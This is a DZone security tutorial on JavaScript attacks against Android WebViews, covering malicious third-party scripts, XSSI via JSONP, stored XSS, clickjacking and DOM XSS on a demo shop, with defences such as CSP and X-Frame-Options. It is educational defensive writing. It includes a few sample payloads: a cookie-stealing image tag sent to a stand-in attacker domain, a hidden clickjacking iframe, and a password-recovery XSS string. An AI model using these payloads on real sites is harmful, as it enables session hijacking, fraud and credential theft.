DZone
Thanks for visiting DZone today,
Edit Profile
  • Manage Email Subscriptions
  • How to Post to DZone
  • Article Submission Guidelines
Sign Out View Profile
  • Post an Article
  • Manage My Drafts
Over 2 million developers have joined DZone.
Log In / Join
Please enter at least three characters to search
Refcards Trend Reports
Events Video Library
Refcards
Trend Reports

Events

View Events Video Library

Zones

Culture and Methodologies Agile Career Development Methodologies Team Management
Data Engineering AI/ML Big Data Data Databases IoT
Software Design and Architecture Cloud Architecture Containers Integration Microservices Performance Security
Coding Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks
Culture and Methodologies
Agile Career Development Methodologies Team Management
Data Engineering
AI/ML Big Data Data Databases IoT
Software Design and Architecture
Cloud Architecture Containers Integration Microservices Performance Security
Coding
Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance
Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks

The software you build is only as secure as the code that powers it. Learn how malicious code creeps into your software supply chain.

Apache Cassandra combines the benefits of major NoSQL databases to support data management needs not covered by traditional RDBMS vendors.

Generative AI has transformed nearly every industry. How can you leverage GenAI to improve your productivity and efficiency?

Modernize your data layer. Learn how to design cloud-native database architectures to meet the evolving demands of AI and GenAI workloads.

Related

  • Consuming REST APIs With React.js
  • Exploring Intercooler.js: Simplify AJAX With HTML Attributes
  • The Cypress Edge: Next-Level Testing Strategies for React Developers
  • Cookies Revisited: A Networking Solution for Third-Party Cookies

Trending

  • Mastering Advanced Traffic Management in Multi-Cloud Kubernetes: Scaling With Multiple Istio Ingress Gateways
  • Mastering Fluent Bit: Installing and Configuring Fluent Bit on Kubernetes (Part 3)
  • The Human Side of Logs: What Unstructured Data Is Trying to Tell You
  • Dropwizard vs. Micronaut: Unpacking the Best Framework for Microservices
  1. DZone
  2. Data Engineering
  3. Data
  4. JavaScript Attacks in WebViews

JavaScript Attacks in WebViews

A discussion of common attacks bad actors commit using JavaScript in the DOM, specifically XSSI and XSS, to steal data and perform DoS attacks.

By 
Erez Yalon user avatar
Erez Yalon
·
Feb. 09, 18 · Tutorial
Likes (3)
Comment
Save
Tweet
Share
9.5K Views

Join the DZone community and get the full member experience.

Join For Free

This is part two of a three-part series. Click for part 1 and part 3. 

JavaScript is widely used due to its outstanding functionality. Its presence in a website can solve many problems, however, it can also introduce critical security issues. It is this very compromise that has to be carefully analyzed in the decision of allowing or not allowing JavaScript to be executed in WebView.

Some of the most aggressive JavaScript attacks will be presented in this blog post for awareness; with development teams in mind and as a contribution to the propagation of safe coding practices.

To exemplify the attacks described in this blog post, an online store was created. It only presents a login form, some articles for sale, and ads. It uses a (modified) HTML template from https://shapebootstrap.net. It is then called from an Android application inside a WebView.

Two fake domains were used: myvictimexampledomain.com and myattackerexampledomain.com. In real scenarios, these domains would never be chosen, they are just used in this post for a clear distinction between the victim and an attacker.

Using Third-Party Malicious JavaScript to Hijack Sessions

There is often the need to use third-party JavaScript code. The source of this code must be carefully analyzed and, if possible, the code itself should be revised as well. Otherwise, our website can execute malicious code without our knowledge.

Taking the previous website example (the shop), advertisements are being presented in an attempt to increase profit. This is a very typical situation and is usually implemented including JavaScript from an ad company. In this case, the green banner that says 'buy now the super amazing brand' is produced by the following piece of code:

The ads.js file has the following content:

Third-party JavaScript has access to the DOM because it is loaded in the victim's webpage, just like local JavaScript would be. So, malicious JavaScript code can access sensitive data. Take the following example:

<img src='" + url + "/ads/ads.png' width='600' height='80'/><img src='" + url + "/" + document.cookie + "' width='0' height='0'/>

The code shown above is able to read user cookies and send them to an attacker. To make the evilness of this code less obvious, an attacker can choose several ways to encode the malicious part. If the victim visualizes the previous JavaScript content with some encoding, before including it in the page, he/she will probably not understand the malicious part and believe that the code is legit:

When the page loads the previously referred malicious code, everything seems exactly the same as before, but, in reality, the attacker is able to view the users' SessionKeys. The attacker just has to look at the attacking web server logs:

The attacker can now hijack all user sessions, and this is far from being the only possible attack.

Apart from this scenario, where the page owner includes the malicious code, another common situation for this kind of attack is hostile subdomain takeover.

In the previous example, an iframe can be used to block access to the DOM. To achieve this, the ".js" file from the previous example was converted into the following ".html":

The following change was made in the shop HTML code:

When the web page is loaded the design looks exactly the same as before, although the previous attack doesn't work anymore:

Notice that the requester has changed from " www.myvictimexampledomain.com/shop/" to " myattackerexampledomain.com/ads/ads.html." As it is being called inside an iframe, it behaves like a completely different page. However, both pages are being loaded in the same browser and the attacker can still take advantage of this to use the user's sessions for accessing restricted content. This scenario will be discussed later in this blog post.

Using XSSI to Exfiltrate Data

Nowadays, all browsers implement the Same-Origin Policy (SOP) and this mechanism blocks replies from domains that are accessed from different domains. As seen in the previous example, if the attacker tried to access the parent page with "parent.document" this access would be denied by SOP because the page loaded in the iframe is in a different domain than the parent's domain. Despite this, there are tags that are allowed by the SOP to be called from different domains, for instance:

  • <script src=”…”></script>
  • <link rel=”stylesheet” href=”…”>
  • <img>
  • <video>
  • <audio>
  • <object>
  • <embed>
  • <applet>
  • <frame>
  • <iframe>

When accessing content from the online shop using the tags described above, the browser will allow the reply and will also send the respective cookies in the request; even if the requester is the malicious code that is running inside the iframe.

The online shop is using JSONP to consult the server for the client's personal data, and it places some of this data in the HTML code for future use in the front-end. This was implemented using the following PHP code:

This code is returning text that is interpreted automatically by the browser as JavaScript. The "getUserData" is a function that exists in the shop's web page:

The attacker can inject malicious code that will call the PHP function. As the malicious code is being loaded inside an iframe it can't access the DOM and use the "getUserData" JavaScript function. But, as the content of the iframe is treated as a different page, the attacker can create an evil "getUserData" like the following:

This code is actually exfiltrating all the information that is being replied by the PHP function, which includes the SessionKeys. To better understand this behavior, the page was loaded and the HTTP traffic was collected. Some of the traffic is shown next and demonstrates that the cookie is being sent and the SOP had no action in the request:

Once again, the attacker can obtain all the client's session information by consulting the attacking web server logs:

This attack is known as Cross-Site Script Inclusion (XSSI). The main difference between XSSI and Cross-Site Scripting (XSS) is that in XSSI, the malicious code is placed in third-party web content, whereas in XSS the malicious code is placed in the victim's website. The main purpose of XSSI is to exfiltrate data and it is often seen in malicious web pages that serve illegal content.

In conclusion, using JSONP is bad practice because it makes the web page lose protection from the SOP. Another point worth mentioning is that if a Cross-Origin Resource Sharing (CORS) mechanism is implemented, it must be properly customized to prevent this kind of attack. To increase protection when using iframes, it is advised to explore the sandbox property and implement a Content Security Policy (CSP).

Using Stored XSS to Deny Service to All Users

Lack of input validation can lead to Cross-site Scripting (XSS), SQL injection, Remote Command Execution, etc. When discussing JavaScript attacks, XSS is the main concern. XSS tends to be assumed by many as harmless, however, that is a completely wrong assumption. Perhaps this idea comes from the fact that XSS vulnerabilities are very common, but because they are common by no means does it mean that they are harmless. On the contrary, they can lead to Denial of Service (DoS), data exfiltration, content manipulation, Cross-site Request Forgery (CSRF), site redirection, and buffer overflows.

These attacks consist of injecting HTML and JavaScript code into a web page. That being said, and knowing that HTML and JavaScript are executed client-side (in the WebView), it is clear that the target will be the website's user and not the web server.

The injection has to be made via an input, whether it is text input, file upload, HTTP header, etc., any kind of data that is somehow crafted and will be executed by the browser.

There are three types of XSS: Stored, Reflected, and DOM-based. The key definition of the attack is sending malicious code in the request that will be executed by the browser when it gets the response from the server. If the code is sent in the request and the server places that code in the content of the page that is replied to the client, it is a scenario of Stored or Reflected XSS. If the malicious code was saved on the server side it is Stored XSS. On the other hand, if the code is only reflected in the response from the server it is Reflected XSS.

Dom-based XSS is less known and its concept is mainly the same as the other two types. The difference is that the server doesn't place the malicious code in the page. The server receives the malicious code similarly to a Reflected XSS but doesn't reflect it in the answer. It is the DOM that includes the malicious code, and that happens on the client side.

All these attacks are triggered due to lack of validation. Validation should be done in the input and the output as well. The most effective validation is by whitelisting, but that is only possible in scenarios where the data can only be part a limited set of values. When this is not possible, escaping (encoding) and sanitization (filtering) libraries must be used to prevent malicious code from being stored or executed.

Other security measures can be implemented to prevent XSS. For example, the measures include defining the HTTPOnly cookie flag, implementing CSP and the X-XSS-Protection header.

Taking the previous online shop example, it implemented a section that shows the name of the clients that are active on the website. When these clients log in, their name appears in this section and remains there until their session is closed or expired.

When a user registers for the first time, there is no input validation in the name field. So, if a user places malicious code after the name, it will be saved in the database. Worse is the fact that every time that the name is printed in WebView, the malicious code will be executed.

In the following image, you can see the active users section where the user "Bill Moore" placed malicious code after his name. Notice that the malicious code isn't visible when the page loads in WebView. For better understanding, JavaScript was temporarily disabled in the WebView:

Capturing the HTTP response traffic in the webserver makes it possible to see the evil code used by the attacker that is being sent to all clients that access the website:

The code calls the JavaScript function "logout()" that already exists in the page. This is considered a DoS attack because it will deny users the ability to buy products. It is also considered a CSRF attack because an action is triggered on the victim's behalf without his/her knowledge and without the need for interaction. JavaScript was re-enabled in the WebView and when the code is loaded this dialog is shown to the client:

And with this successful attack, no user is able to login to the online shop resulting in a huge amount of profit loss. As mentioned before, much worse scenarios are found in the wild. XSS must not be underestimated and the best way to mitigate it is to validate all input and output.

Using Stored XSS to Hijack Clicks

To discuss the clickjacking attack, the previous Stored XSS vulnerability in the online shop was used. This attack allows one to beat the SOP and the Anti-CSRF tokens. It consists of loading a legitimate webpage inside an iframe and loading it inside a second website. By using the "opacity" property, it is possible to completely hide the iframed page and fool the user to click on it instead of the website that is showing in the browser.

Taking the previous example of the online shop, it was possible to inject code in the user name. This code was then loaded by every user that visited the page. To trigger the Stored XSS vulnerability, instead of the DoS attack referred to before, the following code was introduced in the username field:

Bill Moore<iframe src=" http://www.mydonationsexampledomain.com/donations/someguy.html " frameBorder="0″ scrolling="no" style="opacity:0; display:block; position:fixed; top:60px; left:-150px; height:400px;"/>

The http://www.mydonationsexampledomain.com/donations/someguy.html URL is a website that allows you to donate money to causes, companies, associations, or individuals. In this case, the "someguy.html" page will allow you to donate to a specific individual and it looks like the following:

When one of the buttons is clicked, the donation is completed and the following page is shown:

The victim of the online shop is also a user of this donation website and has the session open. Many users don't close their sessions and that is why a short expiration time in cookies is important.

Returning to the online shop post-XSS attack, it looks just as harmless as before:

To better understand what is happening, a second screenshot was taken with the opacity of the previously referred iframe (where the donations site is loaded) set to 1. This way it is possible to visualize both pages and that a donate button is over the search box of the online shop:

When a user presses the search box in the online shop he/she is actually donating money to an attacker. By keeping the opacity value set to 1, it is possible to see the result:

When replaying the attack with the opacity set to 0, nothing seems suspicious to the victim. The only abnormal behavior is that the search box seems to be malfunctioning:

This is a very powerful attack and in order to stop it, the donation-website should use CSP or the X-Frame-Options header, to not allow it to be loaded within an iframe. Another security measure would be a programmatic validation to check whether the page is being loaded inside an iframe and stop execution in those situations. A confirmation prompt could also be used to stop this clickjacking attack. All these security measures have to be taken in the site loaded inside the iframe, as that is where the clickjacking is happening. In this example, the online shop is only a website with a stored XSS vulnerability.

Using DOM XSS to Steal Credentials

In terms of XSS, "Stored" is usually the most dangerous and a full example was shown earlier in this post. Reflected and DOM XSS are very difficult to explore in WebView because of the XSS auditor that is implemented by default and blocks all the XSS code that it identifies.

The XSS auditor is a built-in function of Chrome and Safari and compares the HTTP request with the server reply. Therefore, it is able to identify potentially dangerous code in the request and match it with the content of the response. When this happens, its default behavior is to block the JavaScript code from executing and load the rest of the page normally. This default behavior can be changed with the header X-XSS-Protection, by setting it to "0" (disables auditor) or setting it to "1" in conjunction with the keywords block or report (displays a blank page).

As explained before, the auditor is based on blacklisting and has been improved over the years. But as it compares the malicious blacklisted content with the reply content it doesn't work so well with DOM XSS scenarios.

As an example, the previously referred online shop has a DOM XSS vulnerability present in the page code:

The getParameterByName method is a JavaScript function included in the page to extract parameters from the URL. This allows the previous search to appear in the page, under the search box, which can be valuable to the user:

The word "test" shows on the screen and it is the last search made. But this new functionality can also allow attackers to deliver XSS attacks. If an attacker places malicious code in the search box, he is affecting only himself. Therefore, the attacker has to make the victim click a link containing malicious code or to convince a victim to place the malicious code in their own search boxes. And that is easier than it sounds.

The attacker conducted a phishing campaign with a well-crafted email pretending to be sent from the online shop advertising special offers to the users who place the following code in their search boxes:

<svg onload=`<script`-recoverPassword('myattacker@exampledomain.com')

The recoverPasswordfunction mentioned in the malicious script is calling a very helpful server-side method that sends the user's password to a given email address. This is useful to users that want to log in on a different device but forgot the password. They can take advantage of their valid session (that doesn't expire) and retrieve the password via their email, without the need to reset it. The function is protected by the authenticity of the session, therefore it appears harmless. But in fact, it allows CSRF attacks and, in this case, it is being used by the attacker to steal the user's credentials:

The previous image shows the result of the copy-paste made by the victims. This scenario is also very common using links in the format "http://www.myvictimexampledomain.com?search=maliciouscode," instead of asking the user to copy paste the malicious code.

In conclusion, be afraid of JavaScript. Like I said at the beginning of this post - it is a very powerful option but it can also cause a lot of damage.

This is part two of a three-part series. Click for part 1 and part 3.

REFERENCES

  • https://www.w3schools.com/tags/att_iframe_sandbox.asp
  • https://www.owasp.org/index.php/3rd_Party_Javascript_Management_Cheat_Sheet
  • https://www.scip.ch/en/?labs.20160414
  • https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
  • https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting
  • https://www.virtuesecurity.com/blog/understanding-xss-auditor/
  • https://brutelogic.com.br/blog/the-easiest-way-to-bypass-xss-mitigations/
  • https://www.w3schools.com/cssref/pr_class_position.asp
  • http://resources.infosecinstitute.com/bypassing-same-origin-policy-part-3-clickjacking-cursorjacking-filejacking/
  • https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet
JavaScript IFrame (video format) Web Service Session (web analytics) Data (computing)

Published at DZone with permission of Erez Yalon, DZone MVB. See the original article here.

Opinions expressed by DZone contributors are their own.

Related

  • Consuming REST APIs With React.js
  • Exploring Intercooler.js: Simplify AJAX With HTML Attributes
  • The Cypress Edge: Next-Level Testing Strategies for React Developers
  • Cookies Revisited: A Networking Solution for Third-Party Cookies

Partner Resources

×

Comments
Oops! Something Went Wrong

The likes didn't load as expected. Please refresh the page and try again.

ABOUT US

  • About DZone
  • Support and feedback
  • Community research
  • Sitemap

ADVERTISE

  • Advertise with DZone

CONTRIBUTE ON DZONE

  • Article Submission Guidelines
  • Become a Contributor
  • Core Program
  • Visit the Writers' Zone

LEGAL

  • Terms of Service
  • Privacy Policy

CONTACT US

  • 3343 Perimeter Hill Drive
  • Suite 100
  • Nashville, TN 37211
  • support@dzone.com

Let's be friends:

Likes
There are no likes...yet! 👀
Be the first to like this post!
It looks like you're not logged in.
Sign in to see who liked this post!